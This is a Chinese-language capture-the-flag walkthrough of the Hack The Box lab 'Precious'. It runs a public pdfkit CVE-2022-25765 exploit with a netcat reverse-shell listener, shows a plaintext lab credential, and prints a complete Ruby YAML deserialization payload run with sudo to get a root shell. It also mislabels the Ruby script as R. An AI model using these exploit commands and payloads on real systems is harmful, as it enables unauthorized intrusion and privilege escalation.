HTB Precious 渗透测试详细记录
靶机介绍
| 名字 | Precious |
|---|---|
| 创建日期 | 26th November, 2022 |
| 操作系统 | Linux |
| 难度 | Easy |

1.初始侦察阶段
nmap扫描 只开放了80和22端口,重点看80,而且title上面提示了域名,顺便去hosts上面改一下
10.129.16.30 precious.htb

2.服务探测与信息收集
写入hosts之后,直接在浏览器打开

这是一个把html内容转化成pdf的网页,需要用户输入url
我这里在本地启动一个html服务,然后填入url,测试网页功能。

也是成功把网页内容转化成了pdf

使用 exiftool 分析pdf文件,寻找更多信息

3. 漏洞识别与初始访问
这个功能点背后用的是 pdfkit v0.8.6 ,而这个组件存在一个著名的cve-2022-25765漏洞
我这里使用的这个exp
https://github.com/lowercasenumbers/CVE-2022-25765
nc -lvnp 4444
python cve-2022-25765.py -t http://precious.htb -l 10.10.14.55 -p 4444

成功获取到ruby用户权限
在ruby 用户的目录获取到henry用户的凭据
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

4.横向移动&权限提升前的信息收集
尝试ssh登录这个用户,成功获取到普通用户权限
ssh henry@10.129.16.30

5.权限提升
检查sudo权限

尝试执行这个rb脚本

提示缺失了一个.yml文件,尝试构建这个文件,经过搜索,我发现这里利用的是R语言反序列化RCE的payload,确定下R语言的版本
henry@precious:~$ ruby -v
ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]
阅读并分析一下这个R语言脚本
henry@precious:~$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
脚本中的 YAML.load 方法有一个特性,即能够反序列化任意的 Ruby 对象。
当 YAML.load 遇到 !ruby/object:ClassName 这样的标签时,它会尝试实例化 ClassName 并设置其属性。恶意攻击者可以构造这样的 YAML 文件,使得在反序列化过程中执行任意代码。
我在github上找到了实例代码。
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Ruby.md
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: /bin/bash
method_id: :resolve
把这个文件保存到用户目录,并执行脚本
vi dependencies.yml
sudo /usr/bin/ruby /opt/update_dependencies.rb
成功提权至root

获取flag

6. 攻击链路图
初始侦察 (nmap TCP端口扫描)
↓
Web服务检测 (发现 网页转pdf功能点)
↓
exiftool分析pdf文件 ( 发现高危组件 pdfkit v0.8.6 )
↓
漏洞利用 ( CVE-2022-25765 )
↓
建立立足点(用户目录获取到henry用户的凭据)
↓
横向移动-1 (SSH登录henry用户)
↓
内部信息收集 (R语言脚本存在反序列化RCE漏洞)
↓
漏洞利用(构造yaml文件,利用YAML.load方法特性RCE)
↓
提权(执行脚本提升权限至root)
Comments NOTHING